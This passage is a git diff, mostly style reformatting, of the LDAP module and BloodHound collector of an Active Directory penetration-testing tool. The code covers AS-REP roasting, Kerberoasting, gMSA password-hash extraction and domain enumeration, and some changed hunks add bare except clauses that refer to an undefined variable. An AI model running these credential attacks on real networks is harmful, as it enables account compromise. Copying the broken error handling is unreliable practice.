Default)'") + bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP") + bgroup.add_argument( + "-c", + "--collection", + help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All (all except LoggedOn). You can specify more than one by separating them with a comma. (default: Default)'", + ) return parser @@ -178,10 +241,10 @@ class ldap(connection): # self.logger = cme_logger self.logger = CMEAdapter( extra={ - 'protocol': "LDAP", - 'host': self.host, - 'port': self.args.port, - 'hostname': self.hostname + "protocol": "LDAP", + "host": self.host, + "port": self.args.port, + "hostname": self.hostname, } ) @@ -206,7 +269,7 @@ class ldap(connection): resp = ldap_connection.search( scope=ldapasn1_impacket.Scope("baseObject"), attributes=["defaultNamingContext", "dnsHostName"], - sizeLimit=0 + sizeLimit=0, ) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: @@ -216,9 +279,14 @@ class ldap(connection): base_dn = None try: for attribute in item["attributes"]: - if str(attribute['type']) == "defaultNamingContext": + if str(attribute["type"]) == "defaultNamingContext": base_dn = str(attribute["vals"][0]) - target_domain = sub(",DC=", ".", base_dn[base_dn.lower().find("dc="):], flags=I)[3:] + target_domain = sub( + ",DC=", + ".", + base_dn[base_dn.lower().find("dc=") :], + flags=I, + )[3:] if str(attribute["type"]) == "dnsHostName": target = str(attribute["vals"][0]) except Exception as e: @@ -231,7 +299,7 @@ class ldap(connection): def get_os_arch(self): try: - string_binding = fr"ncacn_ip_tcp:{self.host}[135]" + string_binding = rf"ncacn_ip_tcp:{self.host}[135]" transport = DCERPCTransportFactory(string_binding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() @@ -239,7 +307,10 @@ class ldap(connection): dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: - dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")) + dce.bind( + MSRPC_UUID_PORTMAP, + transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"), + ) except DCERPCException as e: if str(e).find("syntaxes_not_supported") >= 0: dce.disconnect() @@ -288,9 +359,9 @@ class ldap(connection): self.domain = self.conn.getServerDNSDomainName() self.hostname = self.conn.getServerName() self.server_os = self.conn.getServerOS() - self.signing = self.conn.isSigningRequired() if self.smbv1 \ - else self.conn._SMBConnection._Connection["RequireSigning"] + self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] self.os_arch = self.get_os_arch() + self.logger.extra["hostname"] = self.hostname if not self.domain: self.domain = self.hostname @@ -308,9 +379,7 @@ class ldap(connection): # Re-connect since we logged off self.create_conn_obj() - self.output_filename = os.path.expanduser( - f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" - ) + self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}") self.output_filename = self.output_filename.replace(":", "-") def print_host_info(self): @@ -323,14 +392,21 @@ class ldap(connection): else: self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP" self.logger.extra["port"] = "445" if not self.no_ntlm else "389" - self.logger.display( - f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})" - ) + self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})") self.logger.extra["protocol"] = "LDAP" # self.logger.display(self.endpoint) return True - def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): + def kerberos_login( + self, + domain, + username, + password="", + ntlm_hash="", + aesKey="", + kdcHost="", + useCache=False, + ): # cme_logger.getLogger("impacket").disabled = True self.username = username self.password = password @@ -361,7 +437,7 @@ class ldap(connection): hash_asreproast.write(hash_tgt + "\n") return False - if not all('' == s for s in [self.nthash, password, aesKey]): + if not all("" == s for s in [self.nthash, password, aesKey]): kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) else: kerb_pass = "" @@ -380,10 +456,10 @@ class ldap(connection): self.nthash, aesKey, kdcHost=kdcHost, - useCache=useCache + useCache=useCache, ) - if self.username == '': + if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() @@ -404,7 +480,7 @@ class ldap(connection): # for PRE-AUTH account self.logger.success( f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}", - color='yellow' + color="yellow", ) return False except SessionError as e: @@ -412,13 +488,13 @@ class ldap(connection): used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.fail( f"{self.domain}\\{self.username}{used_ccache} {str(error)}", - color='magenta' if error in ldap_error_status else 'red' + color="magenta" if error in ldap_error_status else "red", ) return False except (KeyError, KerberosException, OSError) as e: self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(e)}", - color='red' + color="red", ) return False except ldap_impacket.LDAPSessionError as e: @@ -437,10 +513,10 @@ class ldap(connection): self.nthash, aesKey, kdcHost=kdcHost, - useCache=useCache + useCache=useCache, ) - if self.username == '': + if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() @@ -455,25 +531,25 @@ class ldap(connection): if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) return True - except ldap_impacket.LDAPSessionError as e: - error_code = str(e).split()[-2][:-1] - self.logger.fail( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if error_code in ldap_error_status else 'red' - ) - return False except SessionError as e: error, desc = e.getErrorString() self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(error)}", - color='magenta' if error in ldap_error_status else 'red' + color="magenta" if error in ldap_error_status else "red", + ) + return False + except: + error_code = str(e).split()[-2][:-1] + self.logger.fail( + f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + color="magenta" if error_code in ldap_error_status else "red", ) return False else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if error_code in ldap_error_status else 'red' + color="magenta" if error_code in ldap_error_status else "red", ) return False @@ -487,7 +563,7 @@ class ldap(connection): if hash_tgt: self.logger.highlight(f"{hash_tgt}") with open(self.args.asreproast, "a+") as hash_asreproast: - hash_asreproast.write(hash_tgt + '\n') + hash_asreproast.write(hash_tgt + "\n") return False try: @@ -514,10 +590,16 @@ class ldap(connection): # We need to try SSL try: # Connect to LDAPS - ldaps_url = f"{proto}://{self.target}" + ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]") self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldapConnection.login( + self.username, + self.password, + self.domain, + self.lmhash, + self.nthash, + ) self.check_if_admin() # Prepare success credential text @@ -529,23 +611,21 @@ class ldap(connection): if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) return True - except ldap_impacket.LDAPSessionError as e: + except: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' + color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' + color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False except OSError as e: - self.logger.fail( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}" - ) + self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False def hash_login(self, domain, username, ntlm_hash): @@ -602,7 +682,13 @@ class ldap(connection): ldaps_url = f"{proto}://{self.target}" self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}") self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldapConnection.login( + self.username, + self.password, + self.domain, + self.lmhash, + self.nthash, + ) self.check_if_admin() # Prepare success credential text @@ -618,19 +704,17 @@ class ldap(connection): error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' + color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' + color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False except OSError as e: - self.logger.fail( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}" - ) + self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False def create_smbv1_conn(self): @@ -684,14 +768,14 @@ class ldap(connection): # count of sub authorities sub_authorities = int(sid[1]) # big endian - identifier_authority = int.from_bytes(sid[2:8], byteorder='big') + identifier_authority = int.from_bytes(sid[2:8], byteorder="big") # If true then it is represented in hex - if identifier_authority >= 2 ** 32: + if identifier_authority >= 2**32: identifier_authority = hex(identifier_authority) # loop over the count of small endians - sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)]) - object_sid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority + sub_authority = "-" + "-".join([str(int.from_bytes(sid[8 + (i * 4) : 12 + (i * 4)], byteorder="little")) for i in range(sub_authorities)]) + object_sid = "S-" + str(revision) + "-" + str(identifier_authority) + sub_authority return object_sid except Exception: pass @@ -701,30 +785,30 @@ class ldap(connection): # 1. get SID of the domaine search_filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)" attributes = ["objectSid"] - resp = self.search(search_filter, attributes, sizeLimit=0) + resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] - if resp and self.password != '' and self.username != '': + if resp and self.password != "" and self.username != "": for attribute in resp[0][1]: - if str(attribute['type']) == 'objectSid': - sid = self.sid_to_str(attribute['vals'][0]) - self.sid_domain = '-'.join(sid.split('-')[:-1]) + if str(attribute["type"]) == "objectSid": + sid = self.sid_to_str(attribute["vals"][0]) + self.sid_domain = "-".join(sid.split("-")[:-1]) # 2. get all group cn name - search_filter = "(|(objectSid="+self.sid_domain+"-512)(objectSid="+self.sid_domain+"-544)(objectSid="+self.sid_domain+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))" + search_filter = "(|(objectSid=" + self.sid_domain + "-512)(objectSid=" + self.sid_domain + "-544)(objectSid=" + self.sid_domain + "-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))" attributes = ["distinguishedName"] - resp = self.search(search_filter, attributes, sizeLimit=0) + resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue - for attribute in item['attributes']: - if str(attribute['type']) == 'distinguishedName': - answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")")) + for attribute in item["attributes"]: + if str(attribute["type"]) == "distinguishedName": + answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")")) # 3. get member of these groups - search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))" + search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))" attributes = [""] - resp = self.search(search_filter, attributes, sizeLimit=0) + resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: @@ -744,7 +828,7 @@ class ldap(connection): resp = self.ldapConnection.search( searchFilter=searchFilter, attributes=attributes, - sizeLimit=sizeLimit + sizeLimit=sizeLimit, ) return resp except ldap_impacket.LDAPSearchError as e: @@ -762,8 +846,14 @@ class ldap(connection): def users(self): # Building the search filter search_filter = "(sAMAccountType=805306368)" - attributes = ["sAMAccountName", "description", "badPasswordTime", "badPwdCount", "pwdLastSet"] - resp = self.search(search_filter, attributes, sizeLimit=0) + attributes = [ + "sAMAccountName", + "description", + "badPasswordTime", + "badPwdCount", + "pwdLastSet", + ] + resp = self.search(search_filter, attributes, sizeLimit=0) if resp: answers = [] self.logger.display(f"Total of records returned {len(resp):d}") @@ -777,10 +867,10 @@ class ldap(connection): pwdLastSet = "" try: for attribute in item["attributes"]: - if str(attribute["type"]) == 'sAMAccountName': - sAMAccountName = str(attribute['vals'][0]) - elif str(attribute["type"]) == 'description': - description = str(attribute['vals'][0]) + if str(attribute["type"]) == "sAMAccountName": + sAMAccountName = str(attribute["vals"][0]) + elif str(attribute["type"]) == "description": + description = str(attribute["vals"][0]) self.logger.highlight(f"{sAMAccountName:<30} {description}") except Exception as e: self.logger.debug(f"Skipping item, cannot process due to error {e}") @@ -799,7 +889,7 @@ class ldap(connection): for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue - name = '' + name = "" try: for attribute in item["attributes"]: if str(attribute["type"]) == "name": @@ -815,10 +905,14 @@ class ldap(connection): if self.password == "" and self.nthash == "" and self.kerberos is False: return False # Building the search filter - search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ - (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) - attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"] + search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) + attributes = [ + "sAMAccountName", + "pwdLastSet", + "MemberOf", + "userAccountControl", + "lastLogon", + ] resp = self.search(search_filter, attributes, 0) if resp == []: self.logger.highlight("No entries found!") @@ -830,15 +924,15 @@ class ldap(connection): if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False - sAMAccountName = '' - memberOf = '' - pwdLastSet = '' + sAMAccountName = "" + memberOf = "" + pwdLastSet = "" userAccountControl = 0 - lastLogon = 'N/A' + lastLogon = "N/A" try: for attribute in item["attributes"]: if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute['vals'][0]) + sAMAccountName = str(attribute["vals"][0]) mustCommit = True elif str(attribute["type"]) == "userAccountControl": userAccountControl = "0x%x" % int(attribute["vals"][0]) @@ -855,12 +949,20 @@ class ldap(connection): else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) if mustCommit is True: - answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + answers.append( + [ + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + userAccountControl, + ] + ) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") pass - if len(answers)>0: + if len(answers) > 0: for user in answers: hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0]) self.logger.highlight(f"{hash_TGT}") @@ -875,9 +977,15 @@ class ldap(connection): def kerberoasting(self): # Building the search filter - searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" - attributes = ["servicePrincipalName", "sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"] + searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" + attributes = [ + "servicePrincipalName", + "sAMAccountName", + "pwdLastSet", + "MemberOf", + "userAccountControl", + "lastLogon", + ] resp = self.search(searchFilter, attributes, 0) if not resp: self.logger.highlight("No entries found!") @@ -917,8 +1025,7 @@ class ldap(connection): if str(attribute["vals"][0]) == "0": lastLogon = "" else: - lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute[ - "vals"][0]))))) + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) elif str(attribute["type"]) == "servicePrincipalName": for spn in attribute["vals"]: SPNs.append(str(spn)) @@ -928,7 +1035,16 @@ class ldap(connection): self.logger.debug(f"Bypassing disabled account {sAMAccountName} ") else: for spn in SPNs: - answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation]) + answers.append( + [ + spn, + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + delegation, + ] + ) except Exception as e: cme_logger.error(f"Skipping item, cannot process due to error {str(e)}") pass @@ -937,7 +1053,14 @@ class ldap(connection): self.logger.display(f"Total of records returned {len(answers):d}") TGT = KerberosAttacks(self).getTGT_kerberoasting() dejavue = [] - for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers: + for ( + SPN, + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + delegation, + ) in answers: if sAMAccountName not in dejavue: downLevelLogonName = self.targetDomain + "\\" + sAMAccountName @@ -952,12 +1075,16 @@ class ldap(connection): self.kdcHost, TGT["KDC_REP"], TGT["cipher"], - TGT["sessionKey"] + TGT["sessionKey"], ) - r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName) - self.logger.highlight( - f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}" + r = KerberosAttacks(self).outputTGS( + tgs, + oldSessionKey, + sessionKey, + sAMAccountName, + self.targetDomain + "/" + sAMAccountName, ) + self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}") self.logger.highlight(f"{r}") with open(self.args.kerberoasting, "a+") as hash_kerberoasting: hash_kerberoasting.write(r + "\n") @@ -974,7 +1101,13 @@ class ldap(connection): def trusted_for_delegation(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" - attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"] + attributes = [ + "sAMAccountName", + "pwdLastSet", + "MemberOf", + "userAccountControl", + "lastLogon", + ] resp = self.search(searchFilter, attributes, 0) answers = [] @@ -1009,12 +1142,20 @@ class ldap(connection): else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) if mustCommit is True: - answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + answers.append( + [ + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + userAccountControl, + ] + ) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") pass - if len(answers)>0: + if len(answers) > 0: self.logger.debug(answers) for value in answers: self.logger.highlight(value[0]) @@ -1029,8 +1170,14 @@ class ldap(connection): self.logger.debug(f"Search Filter={searchFilter}") resp = self.ldapConnection.search( searchFilter=searchFilter, - attributes=["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"], - sizeLimit=0 + attributes=[ + "sAMAccountName", + "pwdLastSet", + "MemberOf", + "userAccountControl", + "lastLogon", + ], + sizeLimit=0, ) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: @@ -1076,12 +1223,21 @@ class ldap(connection): else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) if mustCommit is True: - answers.append([sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl, status]) + answers.append( + [ + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + userAccountControl, + status, + ] + ) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {str(e)}") pass - if len(answers)>0: + if len(answers) > 0: self.logger.debug(answers) for value in answers: self.logger.highlight(f"User: {value[0]} Status: {value[5]}") @@ -1092,7 +1248,13 @@ class ldap(connection): def admin_count(self): # Building the search filter searchFilter = "(adminCount=1)" - attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"] + attributes = [ + "sAMAccountName", + "pwdLastSet", + "MemberOf", + "userAccountControl", + "lastLogon", + ] resp = self.search(searchFilter, attributes, 0) answers = [] self.logger.debug(f"Total of records returned {len(resp):d}") @@ -1109,7 +1271,7 @@ class ldap(connection): try: for attribute in item["attributes"]: if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute['vals'][0]) + sAMAccountName = str(attribute["vals"][0]) mustCommit = True elif str(attribute["type"]) == "userAccountControl": userAccountControl = "0x%x" % int(attribute["vals"][0]) @@ -1126,12 +1288,20 @@ class ldap(connection): else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) if mustCommit is True: - answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + answers.append( + [ + sAMAccountName, + memberOf, + pwdLastSet, + lastLogon, + userAccountControl, + ] + ) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {str(e)}") pass - if len(answers)>0: + if len(answers) > 0: self.logger.debug(answers) for value in answers: self.logger.highlight(value[0]) @@ -1144,9 +1314,13 @@ class ldap(connection): search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldapConnection.search( searchFilter=search_filter, - attributes=["sAMAccountName", "msDS-ManagedPassword", "msDS-GroupMSAMembership"], + attributes=[ + "sAMAccountName", + "msDS-ManagedPassword", + "msDS-GroupMSAMembership", + ], sizeLimit=0, - searchBase=self.baseDN + searchBase=self.baseDN, ) if gmsa_accounts: answers = [] @@ -1159,7 +1333,7 @@ class ldap(connection): passwd = "" for attribute in item["attributes"]: if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute['vals'][0]) + sAMAccountName = str(attribute["vals"][0]) if str(attribute["type"]) == "msDS-ManagedPassword": data = attribute["vals"][0].asOctets() blob = MSDS_MANAGEDPASSWORD_BLOB() @@ -1180,7 +1354,7 @@ class ldap(connection): hex_letters = "0123456789abcdef" str_hash = "" for b in bin_hash: - str_hash += hex_letters[b & 0x0f] + str_hash += hex_letters[b & 0x0F] str_hash += hex_letters[b >> 0x04] self.logger.debug(f"Hash2: {str_hash}") return str_hash @@ -1196,7 +1370,7 @@ class ldap(connection): searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN + searchBase=self.baseDN, ) if gmsa_accounts: answers = [] @@ -1210,9 +1384,7 @@ class ldap(connection): if str(attribute["type"]) == "sAMAccountName": sAMAccountName = str(attribute["vals"][0]) if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id: - self.logger.highlight( - f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}" - ) + self.logger.highlight(f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}") break else: self.logger.fail("No string provided :'(") @@ -1229,7 +1401,7 @@ class ldap(connection): searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN + searchBase=self.baseDN, ) if gmsa_accounts: answers = [] @@ -1250,20 +1422,35 @@ class ldap(connection): blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) currentPassword = blob["CurrentPassword"][:-2] - ntlm_hash = MD4.new () - ntlm_hash.update (currentPassword) - passwd = hexlify(ntlm_hash.digest()).decode('utf-8') + ntlm_hash = MD4.new() + ntlm_hash.update(currentPassword) + passwd = hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}") else: self.logger.fail("No string provided :'(") def bloodhound(self): - auth = ADAuthentication(username=self.username, password=self.password, domain=self.domain, lm_hash=self.nthash, nt_hash=self.nthash, aeskey=self.aesKey, kdc=self.kdcHost, auth_method="auto") - ad = AD(auth=auth, domain=self.domain, nameserver=self.args.nameserver, dns_tcp=False, dns_timeout=3) + auth = ADAuthentication( + username=self.username, + password=self.password, + domain=self.domain, + lm_hash=self.nthash, + nt_hash=self.nthash, + aeskey=self.aesKey, + kdc=self.kdcHost, + auth_method="auto", + ) + ad = AD( + auth=auth, + domain=self.domain, + nameserver=self.args.nameserver, + dns_tcp=False, + dns_timeout=3, + ) collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection) if not collect: return - self.logger.highlight("Resolved collection methods: %s", ", ".join(list(collect))) + self.logger.highlight("Resolved collection methods: " + ", ".join(list(collect))) self.logger.debug("Using DNS to retrieve domain information") ad.dns_resolve(domain=self.domain) @@ -1285,7 +1472,7 @@ class ldap(connection): timestamp=timestamp, computerfile=None, cachefile=None, - exclude_dcs=False + exclude_dcs=False, ) self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip") diff --git a/cme/protocols/ldap/bloodhound.py b/cme/protocols/ldap/bloodhound.py index cecc08be..1b9f42db 100644 --- a/cme/protocols/ldap/bloodhound.py +++ b/cme/protocols/ldap/bloodhound.py @@ -6,6 +6,7 @@ from bloodhound.enumeration.computers import ComputerEnumerator from bloodhound.enumeration.memberships import MembershipEnumerator from bloodhound.enumeration.domains import DomainEnumerator + class BloodHound(object): def __init__(self, ad, hostname, host, port): self.ad = ad @@ -17,73 +18,103 @@ class BloodHound(object): self.proto_logger(port, hostname, host) def proto_logger(self, port, hostname, host): - self.logger = CMEAdapter(extra={ - 'protocol': 'LDAP', - 'host': host, - 'port': port, - 'hostname': hostname - }) + self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}) + def connect(self): if len(self.ad.dcs()) == 0: - self.logger.fail('Could not find a domain controller. Consider specifying a domain and/or DNS server.') + self.logger.fail("Could not find a domain controller. Consider specifying a domain and/or DNS server.") sys.exit(1) if not self.ad.baseDN: - self.logger.fail('Could not figure out the domain to query. Please specify this manually with -d') + self.logger.fail("Could not figure out the domain to query. Please specify this manually with -d") sys.exit(1) pdc = self.ad.dcs()[0] - self.logger.debug('Using LDAP server: %s', pdc) - self.logger.debug('Using base DN: %s', self.ad.baseDN) + self.logger.debug("Using LDAP server: %s", pdc) + self.logger.debug("Using base DN: %s", self.ad.baseDN) if len(self.ad.kdcs()) > 0: kdc = self.ad.kdcs()[0] - self.logger.debug('Using kerberos KDC: %s', kdc) - self.logger.debug('Using kerberos realm: %s', self.ad.realm()) + self.logger.debug("Using kerberos KDC: %s", kdc) + self.logger.debug("Using kerberos realm: %s", self.ad.realm()) # Create a domain controller object self.pdc = ADDC(pdc, self.ad) # Create an object resolver self.ad.create_objectresolver(self.pdc) -# self.pdc.ldap_connect(self.ad.auth.username, self.ad.auth.password, kdc) - + # self.pdc.ldap_connect(self.ad.auth.username, self.ad.auth.password, kdc) - def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", computerfile="", cachefile=None, exclude_dcs=False): + def run( + self, + collect, + num_workers=10, + disable_pooling=False, + timestamp="", + computerfile="", + cachefile=None, + exclude_dcs=False, + ): start_time = time.time() if cachefile: self.ad.load_cachefile(cachefile) # Check early if we should enumerate computers as well - do_computer_enum = any(method in collect for method in ['localadmin', 'session', 'loggedon', 'experimental', 'rdp', 'dcom', 'psremote']) + do_computer_enum = any( + method in collect + for method in [ + "localadmin", + "session", + "loggedon", + "experimental", + "rdp", + "dcom", + "psremote", + ] + ) - if 'group' in collect or 'objectprops' in collect or 'acl' in collect: + if "group" in collect or "objectprops" in collect or "acl" in collect: # Fetch domains for later, computers if needed - self.pdc.prefetch_info('objectprops' 